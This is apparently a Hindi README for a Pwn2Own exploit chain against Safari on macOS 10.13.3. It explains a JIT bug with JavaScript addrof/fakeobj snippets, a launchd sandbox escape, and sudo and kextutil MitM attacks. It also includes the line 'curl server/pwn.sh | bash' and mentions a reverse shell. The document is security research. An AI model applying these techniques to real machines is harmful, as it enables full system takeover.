
एक Pwn2Own एक्सप्लॉइट श्रृंखला
macOS 10.13.3 के लिए Safari RCE, सैंडबॉक्स एस्केप, और कर्नेल तक LPE।
nasm और tornado इंस्टॉल करें:
brew install nasm
pip3 install tornado
यदि आप होस्ट या पोर्ट बदलना चाहते हैं तो config.py देखें। उसके बाद ./server.py से सर्वर शुरू करें और दिखाए गए URL पर जाएँ।
यह एक्सप्लॉइट चेन तीन अलग-अलग बगों का उपयोग करके Safari के अंदर चल रहे JavaScript कोड से कर्नेल-मोड कोड निष्पादन तक पहुँचती है:
एक्सप्लॉइट चेन को छह चरणों में लागू किया गया है, प्रत्येक अपनी स्वयं की उपनिर्देशिका में स्थित है:
हर उपनिर्देशिका (libspc/ को छोड़कर) में make.py नामक एक फ़ाइल होती है, जो निष्पादित होने पर किसी भी आवश्यक बिल्ड कमांड को चलाती है और वेबसर्वर द्वारा प्रदान की जाने वाली फ़ाइलों की एक सूची बनाती है।
लक्ष्य: सैंडबॉक्स किए गए WebContent प्रोसेस के अंदर शेलकोड निष्पादन प्राप्त करना
शोषित बग: DFG JIT कंपाइलर में गलत ऑप्टिमाइज़ेशन
यह भी देखें यह BlackHat वार्ता
DFG JIT कंपाइलर JavaScript कोड को अपने स्वयं के मध्यवर्ती प्रतिनिधित्व (IR), डेटा फ्लो ग्राफ़ (DFG) में प्रस्तुत करता है। आम तौर पर, एक JavaScript एक्सप्रेशन इस ग्राफ़ में एक या कई IR निर्देशों में अनुवादित होगा। कंस्ट्रक्टर फ़ंक्शन के मामले में, CreateThis निर्देश उत्सर्जित होता है और फ़ंक्शन द्वारा निर्मित this ऑब्जेक्ट को आवंटित करने के लिए ज़िम्मेदार होता है। उदाहरण के तौर पर, फ़ंक्शन function Consructor() {}, जब new के साथ कॉल किया जाता है, तो लगभग निम्न प्रकार से अनुवादित होगा
v0 = CreateThis
return v0
AbstractInterpreter को देखते हुए, हम देख सकते हैं कि DFG JIT कंपाइलर मानता है कि CreateThis ऑपरेशन से हीप आवंटन के अलावा कोई अन्य साइड इफेक्ट नहीं होंगे। वास्तव में, यह कोड:
function Constructor(obj) {
return obj.x;
}
लगभग निम्नलिखित DFG निर्देशों में अनुवादित होगा:
(यहाँ, StructureCheck को TypeCheckHoistingPhase द्वारा फ़ंक्शन की शुरुआत में स्थानांतरित कर दिया गया था)।
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;
हालाँकि, यह धारणा अमान्य है, क्योंकि CreateThis के लिए स्लो-पाथ कोड कुछ मामलों में मनमाना JavaScript कोड निष्पादित कर सकता है। विशेष रूप से, वास्तविक फ़ंक्शन के चारों ओर Proxy का उपयोग करके, "prototype" प्रॉपर्टी के लिए get ट्रैप को CreateThis के स्लो-पाथ हैंडलर के दौरान कॉल किया जाएगा क्योंकि इसे निर्मित ऑब्जेक्ट के लिए प्रोटोटाइप ऑब्जेक्ट प्राप्त करने की आवश्यकता होती है:
function Constructor(obj) {
return obj.x;
}
var handler = {
get(target, propname) {
/* run JS here, modify the structure of the argument object, etc. */
return target[propname];
},
};
var ConstructorProxy = new Proxy(Constructor, handler);
// Force JIT compilation of ConstructorProxy
इस प्रकार, अब JIT कंपाइलर द्वारा बेलआउट किए बिना किसी ऑब्जेक्ट की संरचना को संशोधित करना संभव है।
इस बग का उपयोग addrof और fakeobj प्रिमिटिव बनाने के लिए किया जा सकता है:
हम कोड को अनबॉक्स्ड डबल एलिमेंट वाले JSArray के मामले के लिए कंपाइल करते हैं, फिर कॉलबैक में JSValue एलिमेंट्स में परिवर्तित हो जाते हैं। उसके बाद, JIT कोड सरणी से एक JSValue लोड करेगा, लेकिन उन बिट्स को डबल के रूप में मानकर हमें लौटा देगा। निम्नलिखित कोड leakme का पता निर्मित ऑब्जेक्ट की "address" प्रॉपर्टी को सौंप देगा।
function InfoLeaker(a) {
this.address = a[0];
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = leakme;
return target[propname];
},
};
// ...
यहाँ हम मूल रूप से इसे उल्टा करते हैं: हम कोड को अनबॉक्स्ड डबल एलिमेंट वाली सरणी में डबल स्टोर करने के लिए ऑप्टिमाइज़ करते हैं, फिर कॉलबैक में फिर से JSValue एलिमेंट्स में परिवर्तित हो जाते हैं। कोड हमारे नियंत्रित डबल को अनबॉक्स्ड रूप में बैकिंग स्टोरेज में लिखता रहेगा। जब हम बाद में उस सरणी एलिमेंट को एक्सेस करते हैं, तो यह उन बिट्स को डबल के बजाय JSValue के रूप में मानेगा। निम्नलिखित कोड अनबॉक्स्ड डबल address को a के बैकिंग बफर में लिखेगा, जिसे हम फिर JSValue के रूप में पढ़ सकते हैं, जिससे हम इंजन में अपनी पसंद के JSValue "इंजेक्ट" कर सकते हैं।
function ObjFaker(a, address) {
a[0] = address;
}
var handler = {
get(target, propname) {
if (trigger)
arg[0] = {};
return target[propname];
},
};
// ...
इस प्रकार हमारे पास एक डबल लिखने और उसे JSObject पॉइंटर के रूप में मानने की क्षमता आ जाती है, और इसके विपरीत भी। इसका शोषण जावास्क्रिप्ट इंजनों पर हमला में वर्णित अनुसार किया जा सकता है।
एक्सप्लॉइट पहले एक Float64Array फेक करके मनमानी प्रोसेस मेमोरी रीड/राइट प्राप्त करता है, फिर JIT क्षेत्र (RWX मैप किया गया) खोजता है और वहाँ stage1 शेलकोड लिखता है।
लक्ष्य: डिस्क पर .dylib लिखकर और उसे dlopen() के माध्यम से लोड करके चरण 2 को बूटस्ट्रैप करना
एक छोटा असेंबली पेलोड जो मूल रूप से निम्नलिखित कार्य करता है:
confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) को कॉल करके एक लिखने योग्य निर्देशिका का पथ प्राप्त करेंdlopen() के माध्यम से dylib को WebContent प्रोसेस में लोड करेंलक्ष्य: सैंडबॉक्स से बाहर निकलना
शोषित बग: launchd के "legacy_spawn" API में सैंडबॉक्स जाँचों का अभाव
यह भी देखें यह वार्ता
Launchd "legacy_spawn" RPC एंडपॉइंट को सबसिस्टम 3 में रूटीन 817 के रूप में उजागर करता है। यह API यह सत्यापित करने में विफल रहता है कि कॉलर को प्रोसेस स्पॉन करने की अनुमति दी जानी चाहिए या नहीं, और यह केवल कॉलर के लिए नियंत्रित तर्कों के साथ सिस्टम पर किसी भी बाइनरी का execve कर देगा। चूँकि launchd बूटस्ट्रैप पोर्ट के माध्यम से पहुँच योग्य है, यह सैंडबॉक्स से बाहर निकलना संभव बनाता है।
एक्सप्लॉइट मूल रूप से curl server/pwn.sh | bash चलाता है और इस प्रकार नियंत्रण stage3 को सौंप देता है।
लक्ष्य: कैलकुलेटर खोलना और शेष चरणों को बूटस्ट्रैप करना
यह open /Applications/Calculator.app निष्पादित करता है और एक रिवर्स शेल स्थापित करता है, फिर शेष चरणों के लिए आवश्यक सभी फ़ाइलें प्राप्त करता है और एक्सप्लॉइट चलाता है।
लक्ष्य: LPE एक्सप्लॉइट के माध्यम से रूट प्राप्त करना
शोषित बग: XNU बूटस्ट्रैप पोर्ट MitM
यह भी देखें यह POC वार्ता
XNU में, task_set_special_port API कॉलर को अपने बूटस्ट्रैप पोर्ट को ओवरराइट करने की अनुमति देता है, जिसका उपयोग launchd के साथ संवाद करने के लिए किया जाता है। यह पोर्ट फोर्क के दौरान विरासत में मिलता है: चाइल्ड प्रोसेस पैरंट के समान बूटस्ट्रैप पोर्ट का उपयोग करेंगे। अब एक सुरक्षा समस्या उत्पन्न होती है यदि चाइल्ड प्रोसेस पैरंट से अधिक विशेषाधिकार प्राप्त है, जैसा कि उदाहरण के लिए sudo (एक setuid बाइनरी) या kextutil ("com.apple.rootless.kext-management" एंटाइटलमेंट वाला) के मामले में होता है। बूटस्ट्रैप पोर्ट को ओवरराइट करके और चाइल्ड प्रोसेस फोर्क करके, हम अब अपने चाइल्ड और launchd के बीच MitM स्थिति प्राप्त कर सकते हैं (जिस तक हमारा चाइल्ड बूटस्ट्रैप पोर्ट पर संदेश भेजते समय पहुँचने की अपेक्षा करता है)। चाइल्ड प्रोसेस launchd से विभिन्न mach और XPC सेवाओं को रिज़ॉल्व करने के लिए कहेगा। इन सेवाओं को हमारे नियंत्रित अन्य पोर्ट्स पर रिज़ॉल्व करके, हम अपने चाइल्ड प्रोसेस द्वारा उपयोग की जाने वाली मनमानी सिस्टम सेवाओं के साथ भी MitM स्थिति प्राप्त कर सकते हैं। शोषण तब इस बात पर निर्भर करता है कि उन सेवाओं का उपयोग हमला किए गए प्रोग्राम द्वारा कैसे किया जाता है।
रूट प्राप्त करने के लिए हम sudo बाइनरी को लक्षित करते हैं और opendirectoryd के साथ उसके संचार को इंटरसेप्ट करते हैं, जिसका उपयोग sudo क्रेडेंशियल सत्यापित करने के लिए करता है। हम opendirectoryd के उत्तरों को संशोधित करते हैं ताकि ऐसा लगे कि हमारा पासवर्ड मान्य था।
ऐसा प्रतीत होता है कि इस समस्या को ठीक करने का प्रयास किया गया था क्योंकि libxpc (जो launchd के साथ संचार करता है) सत्यापित करता है कि उत्तर वास्तव में uid=0 और pid=1 (== launchd) प्रोसेस से आते हैं। हालाँकि, ये जाँचें अपर्याप्त हैं। हम opendirectoryd को अपने स्वयं के पोर्ट पर रिज़ॉल्व करने के लिए उन्हें निम्नानुसार बायपास कर सकते हैं:
bootstrap_register2 API का उपयोग करके launchd के साथ अपनी स्वयं की mach सेवा (जैसे net.saelo.hax) पंजीकृत करेंcom.apple.system.opendirectoryd.api को net.saelo.hax से बदल देंअब (रूट तक विशेषाधिकार वृद्धि के लिए) केवल opendirectoryd और sudo के बीच संदेशों को अग्रेषित करना शेष है, लेकिन प्रमाणीकरण त्रुटि उत्तर को सफलता उत्तर से बदल दें।
लक्ष्य: एक (स्व-हस्ताक्षरित) कर्नेल एक्सटेंशन लोड करना
शोषित बग: XNU बूटस्ट्रैप पोर्ट MitM
यह stage4 के समान दोष का शोषण करता है, लेकिन इस बार kextutil को लक्षित करता है। हम com.apple.trustd के कनेक्शन को इंटरसेप्ट करते हैं और सर्टिफिकेट चेन को स्पूफ करते हैं, जिससे kextutil को लगता है कि हमारा स्व-हस्ताक्षरित kext वास्तव में apple द्वारा सीधे हस्ताक्षरित है।
kextutil डिस्क से .kext लोड करने के लिए कहे जाने पर लगभग निम्नानुसार आगे बढ़ता है:
trustd के साथ संवाद करें कि रूट सर्टिफिकेट पर भरोसा किया गया है या नहींsyspolicyd से बात करके जाँचें कि .kext उपयोगकर्ता-अनुमोदित है या नहीं। हालाँकि, यदि syspolicyd तक नहीं पहुँचा जा सकता है, तो kextutil बस आगे बढ़ जाता हैयह स्व-हस्ताक्षरित कर्नेल एक्सटेंशन लोड करने के लिए निम्नलिखित हमले को सक्षम बनाता है:
com.apple.trustd को अपनी स्वयं की सेवा पर रिज़ॉल्व करेंtrustd को भेजे गए संदेशों को इंटरसेप्ट करें और एक आधिकारिक apple .kext की हार्डकोडेड सर्टिफिकेट चेन के साथ उत्तर देंsyspolicyd के साथ संचार अवरुद्ध करें (उदाहरण के लिए launchd को भेजे गए सेवा लुकअप अनुरोधों में com.apple.security.syspolicy.kext को net.saelo.lolno से बदलकर)kextutil अब हमारे कर्नेल एक्सटेंशन को कर्नेल में लोड करेगा।